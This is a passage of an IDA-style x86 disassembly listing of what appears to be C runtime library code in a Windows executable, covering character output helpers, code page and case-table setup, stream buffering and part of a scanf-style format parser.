loc_42061A: ; CODE XREF: sub_41FF3F+698j
; sub_41FF3F+69Ej
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push [ebp+var_C]
push [ebp+var_8]
call sub_4206E6
add esp, 10h
loc_42062F: ; CODE XREF: sub_41FF3F+6BCj
; sub_41FF3F+6D9j
test byte ptr [ebp+var_4], 4
jz short loc_420647 ; default
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_4206B5
add esp, 10h
loc_420647: ; CODE XREF: sub_41FF3F+68j
; sub_41FF3F+8Bj ...
mov edi, [ebp+arg_4] ; default
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+arg_4], edi
jnz loc_41FF6B
loc_420658: ; CODE XREF: sub_41FF3F+1Fj
; sub_41FF3F+37j
mov eax, [ebp+var_14]
pop edi
pop esi
pop ebx
leave
retn
sub_41FF3F endp
; ---------------------------------------------------------------------------
off_420660 dd offset loc_4200DE ; DATA XREF: sub_41FF3F+6Er
dd offset loc_41FFB4 ; jump table for switch statement
dd offset loc_41FFCF
dd offset loc_42001B
dd offset loc_420052
dd offset loc_42005A
dd offset loc_42008F
dd offset loc_420122
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420680 proc near ; CODE XREF: sub_41FF3F+1BDp
; sub_41FF3F+1D6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
dec dword ptr [ecx+4]
js short loc_420699
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_4206A4
; ---------------------------------------------------------------------------
loc_420699: ; CODE XREF: sub_420680+9j
push ecx
push [ebp+arg_0]
call sub_41FE2A
pop ecx
pop ecx
loc_4206A4: ; CODE XREF: sub_420680+17j
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_8]
jnz short loc_4206B1
or dword ptr [eax], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4206B1: ; CODE XREF: sub_420680+2Aj
inc dword ptr [eax]
pop ebp
retn
sub_420680 endp
; =============== S U B R O U T I N E =======================================
sub_4206B5 proc near ; CODE XREF: sub_41FF3F+65Ap
; sub_41FF3F+68Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, edi
dec edi
test eax, eax
jle short loc_4206E3
mov esi, [esp+8+arg_C]
loc_4206C6: ; CODE XREF: sub_4206B5+2Cj
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_420680
add esp, 0Ch
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_4206E3
mov eax, edi
dec edi
test eax, eax
jg short loc_4206C6
loc_4206E3: ; CODE XREF: sub_4206B5+Bj
; sub_4206B5+25j
pop edi
pop esi
retn
sub_4206B5 endp
; =============== S U B R O U T I N E =======================================
sub_4206E6 proc near ; CODE XREF: sub_41FF3F+670p
; sub_41FF3F+6CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
mov eax, ebx
dec ebx
push esi
push edi
test eax, eax
jle short loc_42071A
mov edi, [esp+0Ch+arg_C]
mov esi, [esp+0Ch+arg_0]
loc_4206FC: ; CODE XREF: sub_4206E6+32j
movsx eax, byte ptr [esi]
push edi
inc esi
push [esp+10h+arg_8]
push eax
call sub_420680
add esp, 0Ch
cmp dword ptr [edi], 0FFFFFFFFh
jz short loc_42071A
mov eax, ebx
dec ebx
test eax, eax
jg short loc_4206FC
loc_42071A: ; CODE XREF: sub_4206E6+Cj
; sub_4206E6+2Bj
pop edi
pop esi
pop ebx
retn
sub_4206E6 endp
; =============== S U B R O U T I N E =======================================
sub_42071E proc near ; CODE XREF: sub_41FF3F+E5p
; sub_41FF3F+124p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
sub_42071E endp
; =============== S U B R O U T I N E =======================================
sub_42072B proc near ; CODE XREF: sub_41FF3F+4FAp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
sub_42072B endp
; =============== S U B R O U T I N E =======================================
sub_42073B proc near ; CODE XREF: sub_41FF3F+2C7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
sub_42073B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420749 proc near ; CODE XREF: sub_420B0D+Bp
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_4208E2
mov esi, eax
pop ecx
cmp esi, dword_4DD144
mov [ebp+arg_0], esi
jz loc_4208D6
xor ebx, ebx
cmp esi, ebx
jz loc_4208CC
xor edx, edx
mov eax, offset dword_43D0A0
loc_42077D: ; CODE XREF: sub_420749+41j
cmp [eax], esi
jz short loc_4207F3
add eax, 30h
inc edx
cmp eax, offset dword_43D190
jl short loc_42077D
lea eax, [ebp+var_18]
push eax
push esi
nop
call near ptr 26608E0h
cmp eax, 1
jnz loc_4208C4
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4DD260
cmp [ebp+var_18], 1
mov dword_4DD144, esi
rep stosd
stosb
mov dword_4DD364, ebx
jbe loc_4208B2
cmp [ebp+var_12], 0
jz loc_420888
lea ecx, [ebp+var_11]
loc_4207D0: ; CODE XREF: sub_420749+139j
mov dl, [ecx]
test dl, dl
jz loc_420888
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_4207E1: ; CODE XREF: sub_420749+A8j
cmp eax, edx
ja loc_42087C
or byte_4DD261[eax], 4
inc eax
jmp short loc_4207E1
; ---------------------------------------------------------------------------
loc_4207F3: ; CODE XREF: sub_420749+36j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4DD260
rep stosd
lea esi, [edx+edx*2]
mov [ebp+var_4], ebx
shl esi, 4
stosb
lea ebx, dword_43D0B0[esi]
loc_42080F: ; CODE XREF: sub_420749+103j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_420842
loc_420816: ; CODE XREF: sub_420749+F7j
mov dl, [ecx+1]
test dl, dl
jz short loc_420842
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_42083B
mov edx, [ebp+var_4]
mov dl, byte_43D098[edx]
loc_420830: ; CODE XREF: sub_420749+F0j
or byte_4DD261[eax], dl
inc eax
cmp eax, edi
jbe short loc_420830
loc_42083B: ; CODE XREF: sub_420749+DCj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_420816
loc_420842: ; CODE XREF: sub_420749+CBj
; sub_420749+D2j
inc [ebp+var_4]
add ebx, 8
cmp [ebp+var_4], 4
jb short loc_42080F
mov eax, [ebp+arg_0]
mov dword_4DD15C, 1
push eax
mov dword_4DD144, eax
call sub_42092C
lea esi, dword_43D0A4[esi]
mov edi, offset dword_4DD150
movsd
movsd
pop ecx
mov dword_4DD364, eax
movsd
jmp short loc_4208D1
; ---------------------------------------------------------------------------
loc_42087C: ; CODE XREF: sub_420749+9Aj
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_4207D0
loc_420888: ; CODE XREF: sub_420749+7Ej
; sub_420749+8Bj
push 1
pop eax
loc_42088B: ; CODE XREF: sub_420749+14Fj
or byte_4DD261[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_42088B
push esi
call sub_42092C
pop ecx
mov dword_4DD364, eax
mov dword_4DD15C, 1
jmp short loc_4208B8
; ---------------------------------------------------------------------------
loc_4208B2: ; CODE XREF: sub_420749+74j
mov dword_4DD15C, ebx
loc_4208B8: ; CODE XREF: sub_420749+167j
xor eax, eax
mov edi, offset dword_4DD150
stosd
stosd
stosd
jmp short loc_4208D1
; ---------------------------------------------------------------------------
loc_4208C4: ; CODE XREF: sub_420749+51j
cmp dword_4DBE4C, ebx
jz short loc_4208DA
loc_4208CC: ; CODE XREF: sub_420749+27j
call sub_42095F
loc_4208D1: ; CODE XREF: sub_420749+131j
; sub_420749+179j
call sub_420988
loc_4208D6: ; CODE XREF: sub_420749+1Dj
xor eax, eax
jmp short loc_4208DD
; ---------------------------------------------------------------------------
loc_4208DA: ; CODE XREF: sub_420749+181j
or eax, 0FFFFFFFFh
loc_4208DD: ; CODE XREF: sub_420749+18Fj
pop edi
pop esi
pop ebx
leave
retn
sub_420749 endp
; =============== S U B R O U T I N E =======================================
sub_4208E2 proc near ; CODE XREF: sub_420749+Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword_4DBE4C, 0
cmp eax, 0FFFFFFFEh
jnz short loc_420902
mov dword_4DBE4C, 1
nop
jmp near ptr 266088Ch
; ---------------------------------------------------------------------------
loc_420902: ; CODE XREF: sub_4208E2+Ej
cmp eax, 0FFFFFFFDh
jnz short loc_420917
mov dword_4DBE4C, 1
nop
jmp near ptr 26608C7h
; ---------------------------------------------------------------------------
loc_420917: ; CODE XREF: sub_4208E2+23j
cmp eax, 0FFFFFFFCh
jnz short locret_42092B
mov eax, dword_4DBE94
mov dword_4DBE4C, 1
locret_42092B: ; CODE XREF: sub_4208E2+38j
retn
sub_4208E2 endp
; =============== S U B R O U T I N E =======================================
sub_42092C proc near ; CODE XREF: sub_420749+118p
; sub_420749+152p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_420959
sub eax, 4
jz short loc_420953
sub eax, 0Dh
jz short loc_42094D
dec eax
jz short loc_420947
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_420947: ; CODE XREF: sub_42092C+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_42094D: ; CODE XREF: sub_42092C+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_420953: ; CODE XREF: sub_42092C+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_420959: ; CODE XREF: sub_42092C+9j
mov eax, 411h
retn
sub_42092C endp
; =============== S U B R O U T I N E =======================================
sub_42095F proc near ; CODE XREF: sub_420749:loc_4208CCp
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_4DD260
rep stosd
stosb
xor eax, eax
mov edi, offset dword_4DD150
mov dword_4DD144, eax
mov dword_4DD15C, eax
mov dword_4DD364, eax
stosd
stosd
stosd
pop edi
retn
sub_42095F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420988 proc near ; CODE XREF: sub_420749:loc_4208D1p
var_514 = byte ptr -514h
var_314 = byte ptr -314h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
var_14 = byte ptr -14h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp+var_14]
push esi
push eax
push dword_4DD144
call near ptr 26608E0h
nop
cmp eax, 1
jnz loc_420AC1
xor eax, eax
mov esi, 100h
loc_4209B2: ; CODE XREF: sub_420988+34j
mov [ebp+eax+var_114], al
inc eax
cmp eax, esi
jb short loc_4209B2
mov al, [ebp+var_E]
mov [ebp+var_114], 20h
test al, al
jz short loc_420A03
push ebx
push edi
lea edx, [ebp+var_D]
loc_4209D1: ; CODE XREF: sub_420988+77j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_4209F8
sub ecx, eax
lea edi, [ebp+eax+var_114]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_4209F8: ; CODE XREF: sub_420988+51j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_4209D1
pop edi
pop ebx
loc_420A03: ; CODE XREF: sub_420988+42j
push 0
lea eax, [ebp+var_514]
push dword_4DD364
push dword_4DD144
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 1
call sub_4244F4
push 0
lea eax, [ebp+var_214]
push dword_4DD144
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push esi
push dword_4DD364
call sub_4232A8
push 0
lea eax, [ebp+var_314]
push dword_4DD144
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 200h
push dword_4DD364
call sub_4232A8
add esp, 5Ch
xor eax, eax
lea ecx, [ebp+var_514]
loc_420A7E: ; CODE XREF: sub_420988+135j
mov dx, [ecx]
test dl, 1
jz short loc_420A9C
or byte_4DD261[eax], 10h
mov dl, [ebp+eax+var_214]
loc_420A94: ; CODE XREF: sub_420988+127j
mov byte_4DD160[eax], dl
jmp short loc_420AB8
; ---------------------------------------------------------------------------
loc_420A9C: ; CODE XREF: sub_420988+FCj
test dl, 2
jz short loc_420AB1
or byte_4DD261[eax], 20h
mov dl, [ebp+eax+var_314]
jmp short loc_420A94
; ---------------------------------------------------------------------------
loc_420AB1: ; CODE XREF: sub_420988+117j
and byte_4DD160[eax], 0
loc_420AB8: ; CODE XREF: sub_420988+112j
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_420A7E
jmp short loc_420B0A
; ---------------------------------------------------------------------------
loc_420AC1: ; CODE XREF: sub_420988+1Dj
xor eax, eax
mov esi, 100h
loc_420AC8: ; CODE XREF: sub_420988+180j
cmp eax, 41h
jb short loc_420AE6
cmp eax, 5Ah
ja short loc_420AE6
or byte_4DD261[eax], 10h
mov cl, al
add cl, 20h
loc_420ADE: ; CODE XREF: sub_420988+174j
mov byte_4DD160[eax], cl
jmp short loc_420B05
; ---------------------------------------------------------------------------
loc_420AE6: ; CODE XREF: sub_420988+143j
; sub_420988+148j
cmp eax, 61h
jb short loc_420AFE
cmp eax, 7Ah
ja short loc_420AFE
or byte_4DD261[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_420ADE
; ---------------------------------------------------------------------------
loc_420AFE: ; CODE XREF: sub_420988+161j
; sub_420988+166j
and byte_4DD160[eax], 0
loc_420B05: ; CODE XREF: sub_420988+15Cj
inc eax
cmp eax, esi
jb short loc_420AC8
loc_420B0A: ; CODE XREF: sub_420988+137j
pop esi
leave
retn
sub_420988 endp
; =============== S U B R O U T I N E =======================================
sub_420B0D proc near ; CODE XREF: ___:00423684p
; ___:004236E0p ...
cmp dword_4DD394, 0
jnz short locret_420B28
push 0FFFFFFFDh
call sub_420749
pop ecx
mov dword_4DD394, 1
locret_420B28: ; CODE XREF: sub_420B0D+7j
retn
sub_420B0D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420B29 proc near ; CODE XREF: sub_41C3B1+2Bp
; sub_41C3B1+A6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp dword_4DD15C, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_420B4D
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_41BFD0
add esp, 0Ch
jmp short loc_420BB0
; ---------------------------------------------------------------------------
loc_420B4D: ; CODE XREF: sub_420B29+11j
mov edx, [ebp+arg_8]
push esi
test edx, edx
jz short loc_420B92
mov ecx, [ebp+arg_4]
loc_420B58: ; CODE XREF: sub_420B29+5Bj
mov al, [ecx]
dec edx
movzx esi, al
test byte_4DD261[esi], 4
mov [edi], al
jz short loc_420B7C
inc edi
inc ecx
test edx, edx
jz short loc_420B88
mov al, [ecx]
dec edx
mov [edi], al
inc edi
inc ecx
test al, al
jz short loc_420B8E
jmp short loc_420B82
; ---------------------------------------------------------------------------
loc_420B7C: ; CODE XREF: sub_420B29+3Ej
inc edi
inc ecx
test al, al
jz short loc_420B92
loc_420B82: ; CODE XREF: sub_420B29+51j
test edx, edx
jnz short loc_420B58
jmp short loc_420B92
; ---------------------------------------------------------------------------
loc_420B88: ; CODE XREF: sub_420B29+44j
and byte ptr [edi-1], 0
jmp short loc_420B92
; ---------------------------------------------------------------------------
loc_420B8E: ; CODE XREF: sub_420B29+4Fj
and byte ptr [edi-2], 0
loc_420B92: ; CODE XREF: sub_420B29+2Aj
; sub_420B29+57j ...
mov eax, edx
dec edx
test eax, eax
pop esi
jz short loc_420BAD
lea ecx, [edx+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_420BAD: ; CODE XREF: sub_420B29+6Fj
mov eax, [ebp+arg_0]
loc_420BB0: ; CODE XREF: sub_420B29+22j
pop edi
pop ebp
retn
sub_420B29 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420BB3 proc near ; CODE XREF: sub_41C59D+12Bp
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4DBE84, 0
push ebx
jnz short loc_420BDE
mov eax, [ebp+arg_0]
cmp eax, 61h
jl loc_420C7C
cmp eax, 7Ah
jg loc_420C7C
sub eax, 20h
jmp loc_420C7C
; ---------------------------------------------------------------------------
loc_420BDE: ; CODE XREF: sub_420BB3+Cj
mov ebx, [ebp+arg_0]
cmp ebx, 100h
jge short loc_420C11
cmp dword_43D084, 1
jle short loc_420BFE
push 2
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_420C09
; ---------------------------------------------------------------------------
loc_420BFE: ; CODE XREF: sub_420BB3+3Dj
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 2
loc_420C09: ; CODE XREF: sub_420BB3+49j
test eax, eax
jnz short loc_420C11
loc_420C0D: ; CODE XREF: sub_420BB3+AFj
mov eax, ebx
jmp short loc_420C7C
; ---------------------------------------------------------------------------
loc_420C11: ; CODE XREF: sub_420BB3+34j
; sub_420BB3+58j
mov edx, off_43CE78
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_420C34
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
push 2
jmp short loc_420C3D
; ---------------------------------------------------------------------------
loc_420C34: ; CODE XREF: sub_420BB3+71j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
push 1
loc_420C3D: ; CODE XREF: sub_420BB3+7Fj
pop eax
lea ecx, [ebp+var_4]
push 1
push 0
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 200h
push dword_4DBE84
call sub_4232A8
add esp, 20h
test eax, eax
jz short loc_420C0D
cmp eax, 1
jnz short loc_420C6F
movzx eax, [ebp+var_4]
jmp short loc_420C7C
; ---------------------------------------------------------------------------
loc_420C6F: ; CODE XREF: sub_420BB3+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_420C7C: ; CODE XREF: sub_420BB3+14j
; sub_420BB3+1Dj ...
pop ebx
leave
retn
sub_420BB3 endp
; =============== S U B R O U T I N E =======================================
sub_420C7F proc near ; CODE XREF: sub_41C7BC+1Dp
; sub_41DC5E+16p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor edx, edx
mov dword_4DBDE0, ecx
mov eax, offset dword_43D190
loc_420C90: ; CODE XREF: sub_420C7F+1Ej
cmp ecx, [eax]
jz short loc_420CB4
add eax, 8
inc edx
cmp eax, offset dword_43D2F8
jl short loc_420C90
cmp ecx, 13h
jb short loc_420CC1
cmp ecx, 24h
ja short loc_420CC1
mov dword_4DBDDC, 0Dh
retn
; ---------------------------------------------------------------------------
loc_420CB4: ; CODE XREF: sub_420C7F+13j
mov eax, dword_43D194[edx*8]
mov dword_4DBDDC, eax
retn
; ---------------------------------------------------------------------------
loc_420CC1: ; CODE XREF: sub_420C7F+23j
; sub_420C7F+28j
cmp ecx, 0BCh
jb short loc_420CDB
cmp ecx, 0CAh
mov dword_4DBDDC, 8
jbe short locret_420CE5
loc_420CDB: ; CODE XREF: sub_420C7F+48j
mov dword_4DBDDC, 16h
locret_420CE5: ; CODE XREF: sub_420C7F+5Aj
retn
sub_420C7F endp
; =============== S U B R O U T I N E =======================================
sub_420CE6 proc near ; CODE XREF: sub_41C7E6+8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_42463D
test eax, eax
pop ecx
jz short loc_420D6F
cmp esi, offset dword_43D588
jnz short loc_420D04
xor eax, eax
jmp short loc_420D0F
; ---------------------------------------------------------------------------
loc_420D04: ; CODE XREF: sub_420CE6+18j
cmp esi, offset dword_43D5A8
jnz short loc_420D6F
push 1
pop eax
loc_420D0F: ; CODE XREF: sub_420CE6+1Cj
inc dword_4DBFAC
test word ptr [esi+0Ch], 10Ch
jnz short loc_420D6F
cmp dword_4DBE50[eax*4], 0
push ebx
push edi
lea edi, ds:4DBE50h[eax*4]
mov ebx, 1000h
jnz short loc_420D55
push ebx
call sub_41BEB5
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_420D55
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_420D62
; ---------------------------------------------------------------------------
loc_420D55: ; CODE XREF: sub_420CE6+4Dj
; sub_420CE6+5Aj
mov edi, [edi]
mov [esi+18h], ebx
mov [esi+8], edi
mov [esi], edi
mov [esi+4], ebx
loc_420D62: ; CODE XREF: sub_420CE6+6Dj
or word ptr [esi+0Ch], 1102h
push 1
pop eax
pop edi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_420D6F: ; CODE XREF: sub_420CE6+10j
; sub_420CE6+24j ...
xor eax, eax
pop esi
retn
sub_420CE6 endp
; =============== S U B R O U T I N E =======================================
sub_420D73 proc near ; CODE XREF: sub_41C7E6+24p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_420D9D
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_420DAE
push esi
call sub_41E42B
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_420D9D: ; CODE XREF: sub_420D73+6j
mov eax, [esp+4+arg_4]
test byte ptr [eax+0Dh], 10h
jz short loc_420DAE
push eax
call sub_41E42B
pop ecx
loc_420DAE: ; CODE XREF: sub_420D73+10j
; sub_420D73+32j
pop esi
retn
sub_420D73 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420DB0 proc near ; CODE XREF: sub_41CCE3+2Ap
var_1C4 = byte ptr -1C4h
var_1C3 = byte ptr -1C3h
var_64 = byte ptr -64h
var_59 = byte ptr -59h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C4h
and [ebp+var_15], 0
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov al, [esi]
mov [ebp+var_4], ebx
test al, al
mov [ebp+var_34], ebx
jz loc_4217B6
mov edi, [ebp+arg_0]
jmp short loc_420DDF
; ---------------------------------------------------------------------------
loc_420DDA: ; CODE XREF: sub_420DB0+9CEj
mov edi, [ebp+arg_0]
xor ebx, ebx
loc_420DDF: ; CODE XREF: sub_420DB0+28j
cmp dword_43D084, 1
jle short loc_420DF7
movzx eax, al
push 8
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_420E06
; ---------------------------------------------------------------------------
loc_420DF7: ; CODE XREF: sub_420DB0+36j
mov ecx, off_43CE78
movzx eax, al
mov al, [ecx+eax*2]
and eax, 8
loc_420E06: ; CODE XREF: sub_420DB0+45j
cmp eax, ebx
jz short loc_420E40
dec [ebp+var_4]
push edi
lea eax, [ebp+var_4]
push edi
push eax
call sub_42183D
pop ecx
pop ecx
push eax
call sub_421826
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41DF10
add esp, 0Ch
loc_420E2E: ; CODE XREF: sub_420DB0+8Ej
test eax, eax
jz short loc_420E40
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41DF10
pop ecx
jmp short loc_420E2E
; ---------------------------------------------------------------------------
loc_420E40: ; CODE XREF: sub_420DB0+58j
; sub_420DB0+80j
cmp byte ptr [esi], 25h
jnz loc_421722
and [ebp+var_35], 0
and [ebp+var_18], 0
and [ebp+var_17], 0
and [ebp+var_E], 0
and [ebp+var_F], 0
and [ebp+var_16], 0
xor edi, edi
and [ebp+var_5], 0
mov [ebp+var_1C], ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ebx
mov [ebp+var_D], 1
mov [ebp+var_30], ebx
loc_420E77: ; CODE XREF: sub_420DB0+172j
movzx ebx, byte ptr [esi+1]
inc esi
cmp dword_43D084, 1
jle short loc_420E94
movzx eax, bl
push 4
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_420EA3
; ---------------------------------------------------------------------------
loc_420E94: ; CODE XREF: sub_420DB0+D3j
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_420EA3: ; CODE XREF: sub_420DB0+E2j
test eax, eax
jz short loc_420EB9
mov eax, [ebp+var_C]
inc [ebp+var_20]
lea eax, [eax+eax*4]
lea eax, [ebx+eax*2-30h]
mov [ebp+var_C], eax
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420EB9: ; CODE XREF: sub_420DB0+F5j
cmp ebx, 4Eh
jg short loc_420EFC
jz short loc_420F1E
cmp ebx, 2Ah
jz short loc_420EF7
cmp ebx, 46h
jz short loc_420F1E
cmp ebx, 49h
jz short loc_420ED9
cmp ebx, 4Ch
jnz short loc_420F0B
inc [ebp+var_D]
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420ED9: ; CODE XREF: sub_420DB0+11Dj
cmp byte ptr [esi+1], 36h
jnz short loc_420F0B
cmp byte ptr [esi+2], 34h
lea eax, [esi+2]
jnz short loc_420F0B
inc [ebp+var_30]
and [ebp+var_28], 0
and [ebp+var_24], 0
mov esi, eax
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420EF7: ; CODE XREF: sub_420DB0+113j
inc [ebp+var_E]
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420EFC: ; CODE XREF: sub_420DB0+10Cj
cmp ebx, 68h
jz short loc_420F18
cmp ebx, 6Ch
jz short loc_420F10
cmp ebx, 77h
jz short loc_420F13
loc_420F0B: ; CODE XREF: sub_420DB0+122j
; sub_420DB0+12Dj ...
inc [ebp+var_F]
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420F10: ; CODE XREF: sub_420DB0+154j
inc [ebp+var_D]
loc_420F13: ; CODE XREF: sub_420DB0+159j
inc [ebp+var_5]
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420F18: ; CODE XREF: sub_420DB0+14Fj
dec [ebp+var_D]
dec [ebp+var_5]
loc_420F1E: ; CODE XREF: sub_420DB0+107j
; sub_420DB0+10Ej ...
cmp [ebp+var_F], 0
jz loc_420E77
cmp [ebp+var_E], 0
mov [ebp+arg_4], esi
jnz short loc_420F43
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
add eax, 4
mov [ebp+arg_8], eax
mov eax, [eax-4]
mov [ebp+var_2C], eax
loc_420F43: ; CODE XREF: sub_420DB0+17Fj
and [ebp+var_F], 0
cmp [ebp+var_5], 0
jnz short loc_420F61
mov al, [esi]
cmp al, 53h
jz short loc_420F5D
cmp al, 43h
jz short loc_420F5D
or [ebp+var_5], 0FFh
jmp short loc_420F61
; ---------------------------------------------------------------------------
loc_420F5D: ; CODE XREF: sub_420DB0+1A1j
; sub_420DB0+1A5j
mov [ebp+var_5], 1
loc_420F61: ; CODE XREF: sub_420DB0+19Bj
; sub_420DB0+1ABj
mov ebx, [ebp+arg_4]
movzx esi, byte ptr [ebx]
or esi, 20h
cmp esi, 6Eh
mov [ebp+var_3C], esi
jz short loc_420F9A
cmp esi, 63h
jz short loc_420F8B
cmp esi, 7Bh
jz short loc_420F8B
push [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_42183D
pop ecx
jmp short loc_420F96
; ---------------------------------------------------------------------------
loc_420F8B: ; CODE XREF: sub_420DB0+1C5j
; sub_420DB0+1CAj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
loc_420F96: ; CODE XREF: sub_420DB0+1D9j
pop ecx
mov [ebp+var_14], eax
loc_420F9A: ; CODE XREF: sub_420DB0+1C0j
xor eax, eax
cmp [ebp+var_20], eax
jz short loc_420FAA
cmp [ebp+var_C], eax
jz loc_421786
loc_420FAA: ; CODE XREF: sub_420DB0+1EFj
cmp esi, 6Fh
